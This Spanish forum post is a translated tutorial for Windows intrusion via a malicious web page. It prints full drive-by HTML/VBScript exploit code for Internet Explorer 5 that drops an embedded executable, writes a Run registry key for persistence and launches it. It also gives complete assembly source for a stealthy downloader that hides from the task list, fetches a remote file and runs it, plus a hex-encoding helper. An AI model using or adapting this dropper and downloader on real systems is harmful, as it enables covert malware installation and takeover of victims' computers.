INTRO
ByteRage hizo en el 2000 el EXE2HTML, que ponÃa un EXE (de 64K como máximo)en un HTML, que era extraido y ejecutado en el siguiente inicio (bajo sistemas windows). El programa estaba basado en el exploit escrito porGeorgi Guninski, y podÃa trabajar en todas las versiones de windows (con algunasadaptaciones) con Internet Explorer 5.0. Ahora ofrece unas técnicas mas avanzadasy versátiles para la intrusión en sistemas windows. Lo que vamos a hacer es lo siguiente: una página HTML que va a escalar privilegios al ser cargada , dejará un ejecutable de 8K (código asm) en el PC objetivo y crear una llave para ejecutarlo en el siguiente inicio (win9x/NT), puede ejecutarlo al cargar la página o en el siguiente inicio, el EXE se ocultará del administrador de tareas en los Win9x y esperará por una conexión, se bajará un archivo externo y lo ejecutará, todo ello en 5 segundos.
HTML EJEMPLO
Este ejemplo tratará de bajarse y ejecutar el
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer Sesion (versión antigua del notepad) pero no instantáneamente, esperará a detectar que el PC está conectado, ahora o tras el próximo reinicio Va a crear la siguiente llave: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\win386 esto es todo sobre el ejemplo, si no te confÃas en que sea inofensivo, puedes editarlo con cualquier editor de textos y estudiarlo tu mismo.
¿CÓMO FUNCIONA?
Examina este código (código facilitado por Phr0zen, código original de Guninski)
<HTML>
<BODY>
<APPLET code="com.ms.activeX.ActiveXComponent" WIDTH=0 HEIGHT=0></APPLET>
<!-- ^^^ This gives java exceptions in java console, but the object is instantiated --><SCRIPT LANGUAGE="JAVASCRIPT">
<!-- hide for safe browsers
InterfaceObject=document.applets[0];
setTimeout("Upload()",1000);
function Upload() {
fsoClassID="{0D43FE01-F093-11CF-8940-00A0C9054228}";
InterfaceObject.setCLSID(fsoClassID);
fso = InterfaceObject.createInstance();
// windir = fso.getspecialfolder(0);
filename = "\\exploit.exe";
file = fso.opentextfile(filename, "2", "TRUE");
file.write(FileContent);
file.close();
Run();
}
function Run() {
regkey = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\win386"
WshShellClassID="{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}";
InterfaceObject.setCLSID(WshShellClassID);
wshShell = InterfaceObject.createInstance();
wshShell.regwrite(regkey,filename)
wshShell.run(filename,"6","TRUE");
}
-->
</SCRIPT>
<script language="vbscript">
<!-- hide for safe browsers
FileContent = array()
FileContent = "31323334"
FileContent = decode(FileContent)
Function Decode(Text)
For x = 1 To Len(Text) Step 2
thebyte = Chr(38) & "H" & Mid(Text, x, 2)
temptext = temptext & Chr(thebyte)
Next
Decode = temptext
End Function
-->
</script>
</BODY>
</HTML>
El código hace lo siguiente: Ãijate en "31323334", son valores hexadecimales (2 caracteres son un byte) que van a formar el binario de nuestro exe que se llama "\EXPLOIT.EXE" este archivo es creado por la función Upload(); . El comando wshShell.regwrite(regkey,filename), va a escribir la llave que va a ejecutar el "\EXPLOIT.EXE" en el próximo reinicio. El comando wshShell.run(filename,"6","TRUE");, es la lÃnea que ejecuta el "\EXPLOIT.EXE" diréctamente.
Para poner valores hexadecimales para el archivo del exploit, se utiliza el siguiente Qbasic script, (cambia algunos nombres de archivo y pulsa SHIFT+F5 para ejecutarlo)
OPEN "EXPLOIT.EXE" FOR BINARY AS #1
OPEN "OUT.TXT" FOR OUTPUT AS #2
A$ = " "
WHILE NOT EOF(1)
GET #1, , A$
B$ = HEX$(ASC(A$))
IF LEN(B$) = 1 THEN B$ = "0" + B$
PRINT #2, B$;
WEND
CLOSE
Introduce este código en el interprete de QBasic y verás como EPLOIT.EXE quedará "codificado" a valores hexadecimales.
¿Cómo queremos que se vea el exe? vamos a hacer un win32asm downloader , bajatelo de
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer Sesion, este es parte del código:
;==============================================
; DOWNLOADER - [ByteRage] ,
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer Sesionwww.byterage.cjb.net
;
; The program imports the WININET.DLL functions by itself, as I didn't
; want to get a *.LIB file for WININET.DLL from the net (like
; import32.lib)
;
; tasm32 -ml downloader.asm
; tlink32 -Tpe -c -x downloader.obj ,,, import32
;
; then add the following modifications :
; hiew downloader.exe, change byte at 15C from 03 to 01
; making it a native driver, so that it is only
; executable from windows but also STEALTH!
; (no console)
;
; - [ByteRage]
;
;===========================================
.386p
locals
jumps
.model flat, stdcall
extrn LoadLibraryA:PROC
extrn GetProcAddress:PROC
extrn GlobalAlloc:PROC
extrn GlobalFree:PROC
extrn Sleep:PROC
extrn CreateFileA:PROC
extrn WriteFile:PROC
extrn CloseHandle:PROC
extrn WinExec:PROC
extrn GetStartupInfoA:PROC
extrn CreateProcessA:PROC
extrn ExitProcess:PROC
; WSOCK32.DLL functions
extrn WSAStartup:PROC
extrn gethostname:PROC
extrn gethostbyname:PROC
extrn RegOpenKeyA:PROC
extrn RegDeleteValueA:PROC
extrn RegCloseKey:PROC
.data
;========================================
; DATA USED BY DOWNLOADER MAIN PROGRAM
;=========================================
; the following vars are used for hiding from the tasklist in win9x
lib db 'KERNEL32',0
imp db 'RegisterServiceProcess',0 ; used for hiding from tasklist
; I prefer loading the proc from the program, so
; that I can check if the proc is available
; because it is a win9x only thing
LoadLibraryLoc dd ?
GetProcAddressLoc dd ?
; used for intializing WINSOCKS
wsadescription_len equ 256
wsasys_status_len equ 128
WSAdata struct
wVersion dw ?
wHighVersion dw ?
szDescription db wsadescription_len+1 dup (?)
szSystemStatus db wsasys_status_len+1 dup (?)
iMaxSockets dw ?
iMaxUdpDg dw ?
lpVendorInfo dw ?
WSAdata ends
wsadata WSAdata ?
; used for checking for an internet connection
localhostname db 256 dup (0)
localhostnamelen EQU $-offset(localhostname)
; !!!! PARAMETERS !!!!
; the Download URL can be http/https/gopher/ftp whatever...
; !!!! SHOULD BE ADDED BY REST OF THE EXPLOIT CODE !!!!
DownloadURL db 32 dup ('PAR1')
;DownloadURL db '
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer Sesion ; <-- for testing
NewFileName db 32 dup ('PAR2')
;NewFileName db '/takeover.exe',0 ; <-- for testing
currdir db '/',0
UserAgent db '[ByteRage]',0 ; small insiders' joke
internethandle dd ?
internethandle2 dd ?
BufferStart dd ?
BytesRead dd ?
FileHandle dd ?
; the following vars are used for the WININET addresses
lib2 db 'WININET',0
impfunc db 'InternetOpenA',0
impfunc2 db 'InternetOpenUrlA',0
impfunc3 db 'InternetReadFile',0
impfunc4 db 'InternetCloseHandle',0
InternetOpenALoc dd ?
InternetOpenUrlALoc dd ?
InternetReadFileLoc dd ?
InternetCloseHandleLoc dd ?
StartupInfo dd 17 dup (0)
ProcessInfo dd 4 dup (0)
hKeyHKLM dd 080000002h
lKeyValue dd ?
section db 'Software\Microsoft\Windows\CurrentVersion\Run',0
subkey db 'win386',0
.code
;=====================================
; DOWNLOADER ENTRY POINT
;====================================
import proc ptrlib:dword, ptrimp:dword
push ptrlib
call LoadLibraryA
push ptrimp
push eax
call GetProcAddress
ret
endp
downloader:
; HIDE PROGRAM FROM THE WIN9X TASKLIST (JUST FOR THE HECK OF IT)
push offset lib ; now I need the LoadLibraryA & GetProcAddress
call LoadLibraryA ; for hiding it from the process list
push offset imp
push eax
call GetProcAddress
cmp eax, 0
je NoHiding ; hiding not supported (probably NT)
push 1 ; on error : skip
push 0
call eax
NoHiding:
; INITIALIZE WINDOWS SOCKETS : SHOULD BE VERSION # 1.1
initsocks:
push offset wsadata ; WSAStartup : check for Winsock 1.1
push 0101h
call WSAStartup
or eax, eax
jz winsock_found
jmp initsocks ; on error : try again
winsock_found:
TryAgain:
; WAIT FOR AN INTERNET CONNECTION (DOESN'T USE WININET.DLL)
WaitForConnection:
push localhostnamelen ; Check if there's an internet
push offset localhostname ; connection : get the local hostname,
call gethostname ; do a call to gethostbyname, then
or eax, eax ; read out hostent structure to compare
jnz WaitForConnection ; IP # with 127.0.0.1
push offset localhostname ; (technique also used by SubSeven)
call gethostbyname
or eax, eax
jz WaitForConnection ; on error : try again
@ @1:
push eax ; read out hostent structure in a clean way
mov eax, dword ptr ds:[eax] ; even m$ doesnt follow the specs
mov ebx, dword ptr ds:[eax] ; in telnet.exe, so maybe this is too
pop eax ; much code
add eax, 4
cmp ebx, 0
jnz @ @1
add eax, 4
mov eax, ds:[eax]
mov eax, ds:[eax]
mov eax, ds:[eax]
cmp eax, 0100007Fh ; 127.0.0.1
jnz StartDownload
push 10000d ; 10 sec. Delay
call Sleep
jmp WaitForConnection ; if IP # = 127.0.0.1 : try again (wait)
StartDownload:
; CREATE TRANSFER BUFFER
CreateBuffer:
push 04000h ; Get 16K space for transfer buffer
push 040h
call GlobalAlloc
cmp eax, 0
jz CreateBuffer ; on error : try again
mov BufferStart, eax
; DOWNLOAD THE FILE USING WININET.DLL
Again:
push offset impfunc
push offset lib2
call import
cmp eax, 0
jz Again ; on error : try again
mov InternetOpenALoc, eax
Again2:
push offset impfunc2
push offset lib2
call import
cmp eax, 0
jz Again2 ; on error : try again
mov InternetOpenUrlALoc, eax
Again3:
push offset impfunc3
push offset lib2
call import
cmp eax, 0
jz Again3 ; on error : try again
mov InternetReadFileLoc, eax
Again4:
push offset impfunc4
push offset lib2
call import
cmp eax, 0
jz Again4 ; on error : try again
mov InternetCloseHandleLoc, eax
push 0
push 0
push 0
push 0
push offset UserAgent
call InternetOpenALoc ; no error checking (pretty unlikely)
mov internethandle, eax
push 0
push 0
push 0FFh
push 0
push offset DownloadURL
push internethandle
call InternetOpenUrlALoc ; no error checking (pretty unlikely)
mov internethandle2, eax
Again5:
push 0
push 080h
push 2
push 0
push 0
push 0C0000000h
push offset NewFileName
call CreateFileA
cmp eax, -1
jz Again5
mov FileHandle, eax
NextBlock:
push offset BytesRead
push 04000h
push BufferStart
push internethandle2
call InternetReadFileLoc
cmp BytesRead, 0
jz copied
push 0
push offset BytesRead
push BytesRead
push BufferStart
push FileHandle
call WriteFile
jmp NextBlock
copied:
push internethandle
call InternetCloseHandleLoc
push internethandle2
call InternetCloseHandleLoc
push FileHandle
call CloseHandle
push BufferStart ; Free 16K space for transfer buffer
call GlobalFree
exec:
; EXECUTE PROGRAM
push offset StartupInfo
call GetStartupInfoA
; Sets STARTF_USESHOWWINDOW & wShowWindow flags
mov dword ptr [StartupInfo+02Ch],01h
mov word ptr [StartupInfo+030h],01h
push offset ProcessInfo
push offset StartupInfo
push offset currdir
push 0
push 04000210h
push 0
push 0
push 0
push offset NewFileName
push 0
call CreateProcessA
; KILL STARTUP REGISTRY KEY
push offset lKeyValue
push offset section
push hKeyHKLM
call RegOpenKeyA
push offset subkey
push lKeyValue
call RegDeleteValueA
push lKeyValue
call RegCloseKey
; AND LEAVE...
push 0
call ExitProcess
end downloader
Combinándolo todo tenemos un HTML de 19K por ahora
<HTML>
<BODY>
<APPLET code="com.ms.activeX.ActiveXComponent" WIDTH=0 HEIGHT=0></APPLET>
<!-- ^^^ This gives java exceptions in java console, but the object is instantiated -->
<SCRIPT LANGUAGE="JAVASCRIPT">
<!-- hide for safe browsers
InterfaceObject=document.applets[0];
setTimeout("Upload()",1000);
function Upload() {
fsoClassID="{0D43FE01-F093-11CF-8940-00A0C9054228}";
InterfaceObject.setCLSID(fsoClassID);
fso = InterfaceObject.createInstance();
// windir = fso.getspecialfolder(0);
filename = "\\exploit.exe";
file = fso.opentextfile(filename, "2", "TRUE");
file.write(FileContent);
file.close();
Run();
}
function Run() {
regkey = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\win386"
WshShellClassID="{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}";
InterfaceObject.setCLSID(WshShellClassID);
wshShell = InterfaceObject.createInstance();
wshShell.regwrite(regkey,filename)
wshShell.run(filename,"6","TRUE"); // YOU CAN CONSIDER LEAVING THIS LINE OUT, TO MAKE IT MORE STEALTH
// DOWNLOADER WILL BE ACTIVE ON NEXT STARTUP (SIMILAR TO TROJAN)
// BETTER MAKE WINDOW STYLE VISIBLE ("6", "TRUE")
}
-->
</SCRIPT>
<script language="vbscript">
<!-- hide for safe browsers
FileContent = array()
'some hex bytes (maximum 64k = 32k executable), i'm going to expand this by
'using an array but I stil have to find something to create an vbscript array that's
'compatible with javascript (above)
FileContent=decode ("4D5A50000200000004000F00FFFF0000B80000000000000040001A000000
00000000000000000000000000000000...
... aquà va un chorizo...
0000000000000000000000000000
Function Decode(Text)
For x = 1 To Len(Text) Step 2
thebyte = Chr(38) & "H" & Mid(Text, x, 2)
temptext = temptext & Chr(thebyte)
Next
Decode = temptext
End Function
-->
</script>
</BODY>
</HTML>
Esto es el ejemplo que hay en el zip. Como ves los parámetros
del WIN32ASM se pueden adaptar. Tienes que mantener la
longitud de los parámetros fijados, de ese modo acortando la
cadena de relleno, cuando haces la dirección Download
URL/Target mayor.
ATENCIÓN
Este texto es una traducción libre del "Windows e-mail/www intrusion made easy"
creado por ByteRage (byterage @yahoo.com /
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer Sesionwww.byterage.cjb.net
)
tomado de
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer Sesionno me hago responsable ni de los códigos insertados en la página,
ni de los archivos incluidos ni del mal uso que se le de a los contenidos.